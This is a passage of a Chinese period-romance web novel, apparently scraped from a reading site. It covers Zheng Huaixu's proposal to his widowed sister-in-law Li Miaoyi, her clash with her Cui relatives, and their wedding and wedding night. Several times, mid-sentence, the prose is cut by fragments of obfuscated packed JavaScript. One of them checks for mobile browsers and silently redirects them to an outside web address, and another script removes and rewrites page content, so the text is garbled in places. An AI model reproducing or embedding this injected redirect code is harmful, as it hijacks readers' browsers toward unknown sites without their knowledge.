半年不见,郑华琬长高了些,眉眼间褪去了几分稚气,却仍是一派天真烂漫。 “嫂嫂,你可算回来了!”她一见到李妙仪,便黏了上来,挽着她的胳膊不肯撒手,“这半年我在府里闷坏了,三哥四哥都要进学,连个说话的人都没有。” 李妙仪笑着捏了捏她的脸:“那以后多来我院里坐坐,我陪你说话。” “好啊好啊!”郑华琬连连点头,眼珠一转,“那今晚我要跟嫂嫂一起睡,我有好多话要跟嫂嫂说!” 李妙仪正要应好,却感觉一道目光落在自己身上。 郑淮序不动声色地瞪了他妹妹一眼,那眼神淡淡的,却带着几分不易察觉的警告。 郑华琬浑然不觉,还在那儿絮絮叨叨:“嫂嫂,江南好不好玩?你有没有给我带什么好玩的?我听人说扬州的胭脂特别好,是不是真的?” 李妙仪忍着笑,温声道:“带了,给你带了好几盒扬州的胭脂,还有几块苏绣的帕子,回头给你送去。” “太好了!”郑华琬欢呼,几乎要挂到她身上,“那今晚我们好好说话!” 郑淮序轻咳一声,端起茶盏抿了一口,面上看不出什么,只是那茶盏放下时,比平日重了几分。 国公夫人看在眼里,心中微微一动,却什么也没说。 宴散后,郑华琬果然跟着李妙仪回了院子。 院中灯火温黄,炭盆烧得旺旺的。姐妹俩洗漱过后,窝在暖阁的榻上,盖着同一条锦被,说了半宿的话。 郑华琬睡熟后,李妙仪却久久未眠。 她望着帐顶,想起郑淮序瞪妹妹时那一闪而过的醋意,忍不住弯了弯唇角。 此后数日,郑淮序时常往送东西。 其中的用心,不言而喻。那胭脂的牌子,是她无意中提过一次的;那诗集,是她托人寻了半年未果的;那点心,是她前几日随口说了一句“想念江南的味道”的。 每次他来时,院中的婢女都会识趣地退下,留他们二人独处片刻。 这细微的变化,终于被人看在眼里。 午后,国公夫人在颐年堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“起来吧,坐。”国公夫人指了指榻前的绣墩,又吩咐刘嬷嬷,“去沏一壶新茶来。” 屋里只剩下婆媳二人。 国公夫人打量着李妙仪,目光里带着几分怜惜:“一路劳顿,这几日歇得可好?炭火够不够?若是不够,从我这儿再挪些过去。” 李妙仪答道:“歇得很好,府中上下照料周到,炭火也足,儿媳一切都好。” 国公夫人点点头,端起手边的茶盏,用杯盖轻轻拨弄着浮叶:“经江南一行,令言往后可有什么打算?” 这话问得突然,也问得意味深长。 她谨慎地回答:“儿媳如今只想尽心侍奉公婆,打理好府中事务,让二郎能安心为朝廷办事。旁的,不曾多想。” “你还这般年轻。”国公夫人语气温和,却带着一丝不易察觉的探究,“难道就从未想过,离开国公府,另觅一个归宿?觅一个能堂堂正正给你名分,与你生儿育女、白头偕老的人?” 这话如同一声惊雷,在寂静的屋中炸开。 李妙仪垂眸,指尖微微收紧,正要开口斟酌应答,却听门外传来一道声音—— “母亲不必张罗。” 门帘被猛然掀开,冬日的寒气裹挟而入。郑淮序大步走进来,立在她身侧,身形如山,将她挡在身后。 “嫂嫂的下一个归宿,是我。” 48. 求娶 颐年堂内,一时寂静无声。 国公夫人胸膛剧烈起伏,脸色一寸寸沉了下去。她攥着腕上的沉香念珠,半晌才从牙缝里挤出一句话:“你可知道自己在说什么?” 那目光凌厉如刀,直直刺向堂中跪着的青年。 青缎袍服的下摆在膝前铺开,他迎着母亲的目光,神色坦然,没有半分退缩:“儿子很清楚。” 他的声音不高不低,却字字清晰,像是早已在心里默念过千百遍:“我郑淮序,此生非她不娶。” “荒唐!” 国公夫人霍然起身,念珠甩了出去,颗颗散落。袖风带倒茶盏,那只青花瓷滚落桌沿,茶水洇湿了织金桌帷,顺着流苏落在青砖上。 “她是你兄长的遗孀!”国公夫人的声音拔高了,“你这是要兄终弟及,伦理尽丧吗?!” 这番话砸下来,换作旁人,只怕早已冷汗涔涔。可郑淮序只是挺直脊背,静静听完,面色未改。 待母亲话音落下,他才不疾不徐道:“母亲,您可知道,这半年来,是谁陪我出生入死?是谁与我并肩查案,揭穿盐引贪腐?是谁在扬州周旋于虎狼之间,为我探得关键证据?” 国公夫人怔住。 儿子奉旨查办盐引案,其间凶险重重,她在家中日夜悬心,不知烧了多少柱高香。 “是她。”郑淮序侧首看向李妙仪,目光顷刻柔软,“是她与我并肩而立,生死与共。她的聪慧、胆识、坚毅,这世上再无第二人及得上。” 他收回视线,一字一句道:“母亲,儿子不是一时冲动,更不是罔顾人伦。儿子心悦她,敬她,爱她。母亲若要责罚,儿子领了便是。但若要儿子放手,绝无可能。” 颐年堂内,又是一阵漫长的沉默。 国公夫人缓缓坐回榻上,望着眼前的儿子。 他那双眼睛里没有半分犹疑,像北疆的磐石,任凭风雨侵蚀,纹丝不动。她了解自己的儿子。他看似冷峻沉稳,实则骨子里执拗无比,一旦认定了什么,九头牛都拉不回来。 她又看向长媳。 这半年来,府务打理得井井有条,扬州一行更是立下大功。她的品性、能力,国公夫人都看在眼里。若没有这层叔嫂关系,这样的儿媳,她求之不得。 可偏偏…… 偏偏她是长子的遗孀。 国公夫人心中五味杂陈。她所虑者,无非家族声誉,人言可畏。此事一旦传开,那些闲言碎语会像刀子一样,一刀一刀剜过来。 良久,她疲惫地开口:“来人,去请国公爷过来。” 郑崇璟来时,已听刘嬷嬷大致说了原委。 他面色凝重,踏入颐年堂,目光在郑淮序与李妙仪身上扫过,又看了看散落一地的念珠、洇湿的桌帷,重重叹了口气。 “都坐下说话。” 郑淮序起身,先将地上的念珠一颗颗捡起,放在母亲手边的炕几上。又唤了丫鬟进来收拾茶盏,待一切妥帖,这才在李妙仪旁边的椅子上坐了。 郑崇璟沉默良久,端起茶盏呷了一口,这才问道:“伯章,你可知道,今日这番话,意味着什么?” “儿子知道。”郑淮序答得干脆。 “意味着,你们要用一生,去承受那些流言蜚语。” “儿子都想过了。” “想过了还这般执迷不悟?” “不是执迷不悟,是心甘情愿。”郑淮序语气里没有半分犹疑,“父亲,儿子只问您一句,这世上,能找到一个与您心意相通、生死与共的人,容易么?” 郑崇璟瞳孔微微收缩。 “不容易,”郑淮序继续道,“但儿子有幸找到了。这世上能与我心意相通的人,千难万难,偏让我遇上了。若因畏惧人言便放手,儿子这辈子都会后悔。” 郑崇璟看着他,目光渐渐复杂起来。 当年他尚无功名在身,却敢求娶顶级士族家的贵女。这些年风风雨雨走过来,卢氏陪他熬过多少艰难,又为他生儿育女、操持内务。若当初轻易放手,他这辈子都会后悔。 他眉头舒展,终于转向李妙仪。 “令言,你如何想?可是自愿嫁他?” 李妙仪抬眸,见他的目光里有审视,有担忧,也有几分长辈的关切。她没有躲闪,也没有羞涩,只端端正正坐直了身子。 “国公爷,我与郑淮序心意相通,便只问本心,不问人言。” 她顿了顿,从容道:“扬州半载,我亲眼见他如何为国除害,如何为民请命。他铮铮铁骨,心怀天下,是我生平所见,最值得托付之人。若辜负这份情意,我亦会抱憾终生。” 郑崇璟看着眼前的女子,非但没有动怒,反而露出几分复杂的赞许。这份胆识,这份气度,难怪儿子会倾心于她。 他叹了口气:“既是你二人心意相通,我若再阻拦,倒成了恶人。” 郑淮序眼中一亮,几乎要从椅子上弹起来:“父亲!” “别急。”郑崇璟抬手止住他,神色严肃,“令言的母家崔氏那边,需得有人去商议;府中上下,也要慢慢通气。这名声二字,虽说不必太过在意,却也不能全然不顾。” 他目光温和了几分:“你们的心意,我知晓了。给我些时日,让我与崔家商议,妥善安排。” 李妙仪起身福了一礼:“多谢国公爷成全。” 郑淮序亦是长揖到底,声音里压不住的欣喜:“多谢父亲。” 国公夫人坐在一旁,看着这一幕,心中千头万绪。 济川若在天有灵,会愿意看到这一幕么?兄弟俩感情那样好,他大约也不愿看着弟弟孤苦一生,不愿看着妻子在青春年华守寡终老吧? 国公夫人站起身,走到李妙仪面前,握住她的手:“你是个好孩子,我一直知道。只是这世道,对女子格外苛刻。往后若有人非议,你要有个准备。” 李妙仪反握住她的手,那双素来从容的眼里,终于泛起几分水光。她笑着点头,声音微微哽咽:“多谢母亲。” 国公夫人将她揽入怀中,轻轻拍了拍她的背。 消息传开的那日,盛京城落了一场薄雪。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252674|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >起初只是在各府后宅的仆妇间流传,几句私语,几个眼神,像水面下的暗流,无声无息地蔓延。待传到茶楼酒肆时,已成了满城热议的话题。 一品茶楼里,说书先生正拍着醒木讲《三国》,底下却三三两两交头接耳,没几个人在听。 “听说了吗?国公府那位少夫人,要嫁给小叔子了!” “都传遍了!那崔娘子,先头嫁的是郑家老大,那位战死在北疆的世子。如今要嫁的,是郑家老二,就是前阵子刚升了兵部侍郎的那位。” 桌上几人一阵唏嘘。 有人啧啧称奇:“这可真是兄终弟及啊,伦理上说得过去么?” “有什么说不过去的?”旁边的瘦削男子摇头晃脑,“《礼记》上怎么说的?‘叔不抚嫂,嫂不抚叔’,那是说丧礼上的规矩,没说不许娶。再说了,人家两家都是高门大户,能做出格的事?肯定是商量好了的。” “说得是。”另一个胖些的男子接话,“那崔家小姐俺见过一回,去庙里上香,那通身的气派,跟画里走出来似的。郑家老二年轻有为,配得上!” “就是!郑家保家卫国,崔家是清流门第,结个亲怎么了?俺看挺好!回头俺还跟家里婆娘说,这才是真性情,比那些假模假式的强多了!” 普通百姓的心思简单直接。他们更看重的是郑家保境安民的功绩,是崔令言显露在外的才名与品貌。至于深宅大院里的伦理纠葛,反倒并不十分在意,甚至觉得这是一段“佳话”。 然而,并非所有人都这般想。 消息传出的第二日,李妙仪便接到了崔家的口信。依照礼数,她需回崔家小住,以待“新婿”正式上门提亲。 临行前夜,郑淮序来了静心斋。 李妙仪将他迎进屋,亲手解下他的大氅,挂在衣架上,又用拂尘扫去上头的雪沫。 “怎么这个时辰过来?”她将手上的汤婆子塞给他。 郑淮序接过,连同她的手一同握在掌心:“明日回崔家,我送你。” 李妙仪失笑:“又不是不回来,送什么?” “想送。”他答得简单,语气却带着几分执拗。 李妙仪知道他在担心什么,崔家那对父母是什么德行,他再清楚不过。此番回去,她少不得要受些闲气。 “放心。”她伸手抚平他眉间的褶皱,“我能应付。” 郑淮序将她拉入怀中,下巴抵在她发顶,心疼道:“若他们欺负你,不必忍着。有什么事,让人传话给我,我立刻过去。” 李妙仪靠在他胸前,听着他沉稳的心跳,轻轻“嗯”了一声。 翌日清晨,马车从国公府出发,驶向崔府。 郑淮序一路送至崔府门前,李妙仪下车时,他翻身下马,走到她身边,当着崔府门房的面,替她拢了拢斗篷的系带。 那动作自然得仿佛做过千百次,却让门房的下人看得眼睛都直了。 “进去吧。”他不舍道,“好生修养,等我来娶你。” 李妙仪点点头,转身踏进崔府的大门。 49. 掀桌 穿过垂花门,绕过假山,沿着抄手游廊往里,远远便看见正厅里亮着灯火。 崔弘与柳氏亲自迎了出来。 崔弘脸上堆着笑,口中说着“回来就好”,那笑意却不达眼底。 柳氏快步上前,一把拉住李妙仪的手,上下打量个不停,啧啧有声:“真是瘦了,这下巴都尖了,定是在外头吃了苦头。”说着,还伸手想去抚李妙仪的脸颊。 李妙仪微微侧头,避开了那只手,不动声色地将自己的手抽回来,淡淡道:“没吃苦,女儿一切安好。” 柳氏笑容僵了僵,她讪讪地收回手,随即又热络起来:“快进去歇着,你父亲特意备了你爱吃的点心,咱们娘俩好好说说话。” 李妙仪心中冷笑。崔令言爱吃什么,这所谓的父亲母亲知道吗? 正厅里果然摆着几碟点心,青瓷碟子映着描金的点心,瞧着精致。茶水也是新沏的,白瓷茶盏里飘着几朵茉莉。 崔弘端坐主位,待李妙仪落座后,立刻问道:“此番回来,可有什么打算?” 这话问得含糊,李妙仪平静道:“父亲指的是什么?” “自然是与郑家的婚事。”崔弘眼中审视的意味浓厚,“国公府那边,可有什么说法?婚期可曾议定?聘礼单子可曾看过?这些事情,总该有个章程。” 李妙仪心中了然。 他们关心的,从来不是女儿的幸福,而是这门亲事能给崔家带来什么好处。 “婚事正在商议。”她答得不卑不亢,“郑家那边,自会择吉日亲自上门提亲。届时,父亲母亲自会知晓。” 柳氏还想说什么,崔弘已摆了摆手:“一路劳顿,先去歇着吧。晚间家宴,你那些婶母嫂嫂都想见见你。” 李妙仪起身行礼,退了出去。走出正厅时,听见身后柳氏压低声音说了句什么,崔弘哼了一声,没有作答。 日头西斜时,正厅里已经热闹起来。 说是家宴,来的人却不少。崔弘的几个兄弟携家带口,乌压压坐了一屋子。男人们在东厢说话,女眷们便聚在西次间和偏厅里。 李妙仪被引到主位旁坐下,正对着几位婶母。 柳氏坐在她身侧,不停地招呼丫鬟添茶续水,时不时还说几句“令言小时候如何如何”的话,像是要做出母女情深的模样给众人看。 “令言真是好福气。”开口的是二房的婶母,面上堆着笑,话里却带着刺,“先嫁了国公府嫡长子,如今又能嫁与嫡次子,这泼天的富贵,竟是都教我们崔家女儿占全了。” 旁边三房的伯母掩嘴笑道:“可不是嘛,咱们令言才情品貌都是一等一的,也难怪郑家两位公子都青眼有加。” 这话听着是夸,可那“两位公子”四字,分明是在暗示什么。 一位堂嫂接口道:“只是这名声上,终究是有些不好听。不知情的,还当我们崔家女儿有什么了得的手段,能让郑家兄弟一个两个都……” 她没说完,便被旁边的人扯了扯袖子。 “手段?”二房婶母笑得意味深长,“那也是人家的本事!总好过有些人,想攀还攀不上呢!” 这话说得露骨,席间有人笑出声,有人假意咳嗽掩饰尴尬,还有人悄悄打量着李妙仪的脸色,等着看好戏。 李妙仪抬眸看向那位婶母,那目光不凌厉,却让人莫名其妙地脊背一凉。 “婶母方才说什么?”李妙仪不疾不徐,尾音却微微拖长,“侄女没听清,能否再说一遍?” 二房婶母强撑着笑脸,干巴巴道:“我是说,令言你好福气……” “不是这句。”李妙仪打断她,“什么手段,什么攀不上?恕侄女愚钝,想请婶母指点一二,这些话是什么意思?” 二房婶母脸色变了又变,强笑道:“令言这是做什么?婶母不过是随口说笑,亲戚间逗个乐子,你何必当真?” “说笑?”李妙仪站起身,眉毛高高扬起,“原来在婶母眼中,侄女的终身大事,是可以拿来说笑的?” 她走到二房婶母面前时,停下脚步,眼神从上往下慢慢扫过对方。 “侄女敬您是长辈,有些话本不该说。但今日既然婶母开了这个头,那侄女也斗胆说几句。” “侄女嫁入郑家三年,侍奉公婆,操持内务。世子战死北疆,侄女守寡至今,自问无愧于郑家,无愧于崔家。” “此番再嫁,是郑家二公子亲自求娶,是国公爷与夫人首肯,是两家商议后的决定。侄女不曾偷,不曾抢,不曾用什么手段,更不曾攀附谁。” 她微微俯身,凑近了些:“婶母方才那些话,是在质疑郑家的决定?若婶母觉得这桩婚事不妥,大可直接去国公府理论,何必在这里阴阳怪气,拿侄女当筏子?” 二房婶母脸色刷地变得惨白,嘴唇哆嗦着,却说不出反驳的话。 李妙仪直起身,又转向那位堂嫂。那堂嫂被她一看,浑身一抖,下意识往后缩了缩,恨不得把自己藏到旁边人身后去。 “至于嫂嫂说的名声不好听,侄女倒想请教,如何才叫名声好听?是像嫂嫂那般,嫁入夫家三年无出,被婆母日日磋磨,却还要打落牙齿和血吞,在外装出一副贤良淑德的模样?” 堂嫂像见了鬼一样,眼睛瞪得滚圆,脸上血色褪尽。 旁边几个年轻媳妇面面相觑,有人眼里闪过一丝快意,有人则低下头去,不敢再看。 李妙仪环视一周,冷笑道:“今日在座的,都是崔家的长辈、亲眷。侄女敬重诸位,也请诸位给侄女几分薄面。往后这样的话,侄女不希望再听到第二次。” 她顿了顿,忽然展颜一笑。那笑容如春花绽放,明媚动人,却让人脊背发寒。 “若再让侄女听见,侄女不介意把这话带到国公府去,让国公爷和夫人评评理。到时候,丢的可就不是侄女一个人的脸了。” 满室寂静。 没人敢接话,连呼吸声都放轻了,生怕惊扰了什么。 李妙仪理了理衣袖,转身朝主位上的人行了一礼,礼数周全,挑不出半分错处:“父亲,母亲,女儿有些乏了,先告退了。” 说罢,也不等他们反应,径自离去。 身后,偏厅陷入一片死寂。 过了许久,才有人小声嘀咕一句:“这还是从前那个崔令言吗?从前多温顺的一个孩子,如今怎么……” 李妙仪回到自己院中,青鸾忙迎出来,见她面色如常,这才松了口气。 “小姐,那些人没为难您吧?” 李妙仪摇了摇头:“没事,一群跳梁小丑,不值得生气。” 青鸾还想说什么,院外忽然传来脚步声。一个婆子匆匆进来,福了福身:“大小姐,外头有人送东西来,说是郑家二公子让送的。” 李妙仪心中一动,起身走到院门口。 只见郑家管事立在门外,身后跟着两个小厮,抬着一个红漆描金的箱子。 管事见她出来,恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仁宣帝抬起头,看向墙壁上悬挂的画像。那是安阳公主幼时的模样,眉眼灵动,笑得天真烂漫。 他看了许久,眼神复杂难辨。 “妙仪,朕的儿……”他喃喃道,“你若在天有灵,或许也会觉得,这样更好吧?” 王德全垂着头,不敢接话。 良久,仁宣帝收回目光,挥了挥手。王德全会意,悄无声息地退了出去,将门轻轻掩上。 而在盛京另一处,亦有人关注着这桩婚事。 阴暗的密室中,一盏孤灯摇曳,映出几道模糊的人影,看不清面目。 “还以为郑二能有什么出息。”一个低沉阴冷的声音响起,像是从地底深处爬上来,“和这个只会耍笔杆子的崔家绑定,成不了气候。” “主上英明。”另一道声音恭谨道,语气里带着几分谄媚。 “话虽如此,也不可大意。”又一个声音响起,比之前那个温和些,“郑家虽没了兵权,但郑淮序仍在兵部任职,军中故旧遍布,不可小觑。” “怕什么?”那阴冷的声音嗤笑一声,“且让他们多高兴几天,等他们以为一切都尘埃落定的时候……” 他没有说下去,但所有人都明白他的意思。 “盯紧郑家,”那阴冷的声音顿了顿,带着一丝若有若无的笑意,像是猫戏弄老鼠时的愉悦,“有什么动静,立刻来报。” “是。” 密室中重归寂静,烛火扭曲成诡异的形状。那影子忽长忽短,忽大忽小,像是有什么东西在其中挣扎,却始终逃不出那片昏黄的光晕。 50. 大婚 数月时光,便在紧锣密鼓的筹备中倏忽而逝。 这其间,郑淮序往崔府送东西的次数只增不减。崔府的下人们从一开始的惊诧,到后来已是熟门熟路地躬身引路。 府中丫鬟们私底下议论起来,无不艳羡道:“这样体贴的夫婿,当真是打着灯笼也难寻的。” 而李妙仪在崔府的日子,也因那日的一番震慑,清净了许多。李妙仪乐得自在,白日里绣绣嫁妆,入夜便倚在窗前看书。 如此,终于盼到了嫁娶的吉日。 天色未明,崔府已是人声鼎沸。丫鬟婆子们穿梭往来,脚步声杂沓,烛火映得满院通明。李妙仪被早早唤起,沐浴更衣,端坐于妆台前。 “崔娘子这头发生得真好,”喜娘执起梳篦,轻轻梳理那如瀑青丝,口中不住赞道,“又浓又密,梳都梳不尽呢。这样的好头发,嫁过去定是旺夫益子的。” 李妙仪望着镜中人,一时有些恍惚。 镜中那张脸,此刻正被喜娘细细描画眉黛,一层一层敷上胭脂。那眉眼,是崔令言的眉眼;那面容,是崔令言的面容。可内里的魂魄,却是另一个人。 两世为人,她头一遭这样盛装打扮,竟是为了嫁给他。想到这里,心尖便泛起一丝甜,又带着几分说不清道不明的羞意。 大红嫁衣早已备好,此刻正铺陈在一旁的紫檀衣架上。那是郑淮序命人日夜赶制的。蜀锦为面,苏绣为里,金线绣成凤凰于飞,银线织就牡丹团簇,繁复精美,华贵非凡。 他派人送嫁衣来时,还附了一张字条:“嫁衣当配心上人。” 此刻想起,李妙仪不自觉又弯起唇角。 “您这一笑,可真好看。”喜娘凑趣道,“新姑爷见了,怕是要挪不开眼的。” 李妙仪脸上一热,垂下眼帘,没有说话。 长发梳通,喜娘执起梳子,口中念念有词:“一梳梳到尾,二梳白发齐眉,三梳儿孙满地。” 妆成,发髻高绾,凤冠戴好。那凤冠缀满珠翠,流转着莹润的光泽,压得脖颈微微发酸。李妙仪对着镜子转了转脸,凤冠上的珠帘轻轻摇曳,光影错落间,镜中人美得不似凡间女子。 喜娘捧过大红盖头,轻声道:“崔娘子,该盖上了。” 眼前的世界,顷刻间化作一片温暖的红色。 与此同时,国公府内亦是张灯结彩,喜庆盈门。 府门大开,红绸从大门一路铺至正厅,两侧摆满了宾客送来的贺礼。文武百官、世家权贵络绎而来,比之当年迎娶崔家长媳过门时,竟也不遑多让。 郑淮序立于正厅,与前来道贺的宾客寒暄应酬。他今日身着大红喜服,衬得面如冠玉,身姿如松。与人拱手还礼时,唇角始终噙着笑意,态度谦和有礼。 只是那目光,总在不经意间飘向门外。 国公夫人看在眼里,又好气又好笑,低声嗔道:“时辰还早着呢,急什么?” 郑淮序轻咳一声,收回目光,耳根却悄悄红了。他自己都没察觉,方才那一瞬间,他已经在心里把那迎亲的路走了七八遍。 吉时已至,迎亲队伍浩浩荡荡出发。 郑淮序骑在高头骏马上,身后跟着八抬花轿、鼓乐仪仗,一路吹吹打打,穿街过巷。沿途挤满了围观的百姓,有孩童追着花轿跑,有妇人踮脚张望,议论声、笑闹声、爆竹声混成一片。 队伍抵达崔府门前时,崔弘与柳氏早已在门外相迎。虽心中各怀心思,面上却是笑容满面,礼数周全。 郑淮序下马,拱手行礼,态度恭敬却疏离。他的目光越过二人,投向门内,似乎在寻找什么。 催妆诗是少不了的。 郑淮序早有准备,一连作了三首,一首比一首精彩,引得围观者连连喝彩。一旁的宾客们也跟着起哄,笑声一阵高过一阵。 第三首诗落音的那一刻,内堂的门被推开了。 所有人的目光都朝那边望去。 喜娘搀扶着一个身着大红嫁衣、盖着大红盖头的身影,缓缓走了出来。 那一瞬间,满院的喧嚣仿佛被抽离了声音,他只看得见那抹红,只听得见自己擂鼓般的心跳。他上前一步,几乎是下意识地,伸出手。 喜娘笑着将那根连接着两人的红绸递过来。红绸的另一端,是她纤细的手,微微攥着,指节泛着淡淡的粉色。 他清晰道:“我来娶你了。” 盖头下的李妙仪,轻轻点了点头。红绸微微颤动,不知是她手在抖,还是他。 拜别父母时,崔弘与柳氏端坐高堂。李妙仪隔着盖头,按规矩行了三拜之礼,心中一片平静。 “去吧。”崔弘摆了摆手,难得显出几分慈父模样,“往后好好过日子。” 柳氏挤出两滴泪,拿帕子拭了拭眼角:“好孩子,嫁了人,要记得常回来看看。” 李妙仪微微颔首,便由喜娘搀扶着,转身离去。 花轿起轿的那一刻,鼓乐齐鸣,爆竹震天。 李妙仪坐在轿中,随着轿身的起伏轻轻摇晃。眼前是一片温暖的红,耳畔是喧闹的鼓乐和人群的欢呼声。她忽然想起及笄那年,母后曾抚着她的发,笑着说:“孩儿,等你出嫁那日,母后要亲自为你梳头。” 那画面还历历在目,可母后已认不得她了,那个满怀憧憬的少女,也已不在了。 今日,她穿着嫁衣,坐着花轿,正一步步走向心爱之人。 眼眶微微发热,她深吸一口气,将那点湿意压了回去。今日是她的大喜之日,是两世为人,第一次满怀期待地、心甘情愿地,将自己交给另一个人。 婚礼的仪式盛大而繁琐。赞者高唱,鼓乐齐鸣,新人拜过天地,拜过高堂,最后夫妻对拜。 每一次躬身,都像将彼此的生命更深地交织在一起;每一道礼节,都在向天地宣告:从今往后,他们是夫妻,是彼此生命中最重要的那个人。 “夫妻对拜——” 两人转身,面对面而立,微微躬身。 这一拜,是承诺,是托付,是此生不渝。 “礼成——送入洞房——” 新房里,龙凤喜烛立在案上,映得满室喜庆愈发温暖。窗上贴着大红双喜字,桌上摆着花生、桂圆、红枣、莲子,床上铺着大红鸳鸯戏水锦被。 李妙仪端坐在床沿,盖头仍盖着,只能隐约看见地上铺着的地毯纹样,和案边红烛摇曳的影子。 外面隐约传来喧闹的宴饮声,她知道郑淮序此刻正在外面应酬,被同僚们灌酒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“妙仪。” 他轻轻抚上她的脸颊,那肌肤温热柔软,触感真实得让他心尖发颤。拇指缓缓摩挲过她的眉眼,她的鼻尖,最后停在那一点朱唇旁。 “你今天真美。”他眼中满是毫不掩饰的爱意。 “你喝了多少?”她试图缓解那莫名的紧张,一开口,才发现自己的声音也有些发颤。 郑淮序在她身边坐下,大红喜服擦着她的嫁衣,发出轻微的窸窣声。 “不多,应付过去了。” 他握住了她放在膝上的手。她的手微凉,他便用自己的掌心裹住,轻轻揉搓。 “累了吗?”他问。 李妙仪轻轻摇头:“还好。” 话音刚落,房门被轻轻叩响。是喜娘的声音:“二公子,少夫人,合卺酒。” 郑淮序起身,开门接过托盘。托盘上放着一对精致的酒盏,用红丝线系着盏脚,盏中盛着清亮的酒液。他走回床前,将托盘放在案上,拿起一盅酒,递给她。 李妙仪接过,手指触到那温热的酒盏,心中涌起一股奇异的感觉。 喝了这杯酒,他们便是真正的夫妻了。 郑淮序已端起另一盅,两人的手臂交缠,近得能感受到彼此的呼吸。 “妙仪,”他目光灼灼,“喝了这杯酒,往后余生,我们携手共赴。” 李妙仪迎上他的目光,弯起唇角。 “好。” 两只酒盏同时递到唇边,清酒入喉,微辣,却暖意融融。 51. 缱绻 空气里凝着醇厚的甜,稠得化不开。红烛偶一炸蕊,噼啪轻响,反倒衬得室中静默,愈发动人心弦。 郑淮序的目光在她面上流连,自光洁额角,至轻颤纤睫,最终烙在那娇艳欲滴的唇瓣上。视线所及之处,似有星火燎原,灼得她双颊腾起胭脂色。 他以指腹拭去她唇角残留的酒渍,粗粝与柔软相触的刹那,有一簇火苗,从指尖窜至心底。 李妙仪下意识阖上眼帘,长睫如受惊的蝶翼,簌簌颤动。她能感知他灼烫的吐息,正一寸寸逼近,织成一张无形的网,将她密密实实地裹住。 他没有急着吻下去,只是贴着,若即若离地蹭过她唇角,描摹那唇瓣的轮廓,将那一点胭脂,慢慢地、细细地晕染开来,像在品世间最甘醇的酒,舍不得一饮而尽。 光影在绣金帷帐上跳动,她如渴极的鱼,微微启唇。 他这才攻城掠地,细致地碾过每一寸领地,最后缠上她无处可躲的软腻,倒入那鸳鸯锦衾之中。 呜咽自喉间溢出,她的纤手攀上他肩头,水雾迷蒙的视线里,只映着他深情的眼眸。 少顷,他稍稍退开些,于烛影摇曳中,见她颊染飞霞,唇瓣殷红,喉结不自觉地滚了滚。 “看着我,妙仪。” 闻言,她抬起眼,撞进他的目光里,那里的炽热快要将她燃尽,却又温柔得能溺毙其中。 李妙仪忽然想起去岁夏夜,他们在湖上泛舟的情景。 桨叶斜斜切入水中,拨出一声轻响,船身便悠悠地往前去了。天上那轮月,晃晃地浮在水皮子上,被桨一搅,便化作千万点碎银,叮叮当当地散开了。 荷花开得真好呀,白的像月光凝成的,粉的像晚霞浸过的,都静静地立在叶子中间,仿佛也睡了。只是那香气不肯睡,一阵一阵,从那些睡着的花瓣间漏出来。 那时她曾想,倘若这船一直往前划,划过这片荷塘,划过这条河,当真到了海上呢?浪会很大罢,一叠一叠地涌来,把小船举得高高的,又放得低低的;桨划下去,再也触不到软软的泥,只有无尽的水。 后来,小船悠悠地打了个转,她在夜风里惬意摇着。荷香还在,橹声还在,方才那一瞬的海,原来只是桨下这圈涟漪荡出的一个梦。 她以为,命运的捉弄会将他们彻底分开。却不料,上天垂怜,得以如愿成亲,共度余生。 窗外月色溶溶,屋内红烛高燃,烛泪堆如小山,一直燃到东方既白。 接下来几日,郑淮序告了假,整日待在国公府。 府中上下心照不宣,二公子素来沉稳持重,如今新婚燕尔,情意正浓,竟是半刻也离不得新娘子。 这日午后,李妙仪斜倚在窗下的软榻间,手中捧着一卷书册,指尖捏着书页边缘,却许久未曾翻动一页。 郑淮序从外间进来,绕过屏风,从身后悄然走近。 榻边陷下去一块,他挨着她坐下,手臂环上那截细腰,鼻尖几乎贴上她颈侧。一股幽幽的香气钻进鼻腔,是她惯用的那款香膏,甜而不腻。 “在想什么,这般出神?” 温热的气息拂过耳廓,李妙仪染上慵懒的笑意:“没想什么,只是这般安稳闲适,一时竟有些发呆了。” 他贴着她脸颊的肌肤,轻轻摩挲:“今日春光正好,园中的桃花开得正盛,要不要随我出去走走?” 李妙仪声音愈发柔婉:“好,都听你的。” 两人在园中慢行,絮絮低语。行至临水的水榭,两人并肩坐下,看池中锦鲤摆尾悠游。红鳞映着碧波,偶尔跃出水面,溅起细碎的水花。 郑淮序的目光却不在鱼上。 她似有所觉,偏过头来,嘴角噙着笑:“看什么呢?看鱼还是看我?” “看你。”他答得坦然,伸手替她将耳边那缕碎发拢到耳后。 她正要移开目光,却听他开口:“我命人将画案搬到了桃园中,今日我们一同作画可好?” 她微微一怔,旋即点了点头。 桃园深处,画案早已摆好。笔墨纸砚一一陈列,颜料碟子整齐地排开,连调色的清水都备了两盏。 郑淮序牵着她的手走过去,将她安置在画案前,自己则站在她身侧。 “我来教你。”他揽住她的腰,抬手覆上她执笔的手背。 笔尖落在宣纸上,勾勒出桃枝的轮廓。他的手腕微微用力,带着她的手转动,那墨色的线条便在纸上蜿蜒开来,遒劲中带着几分柔韧。 “手腕放松些,跟着我的力道走。” 李妙仪被他揽在怀里,努力想要集中注意力,可他衣襟上沾染的松香,混着桃花的清苦气息,总令她心神恍惚。 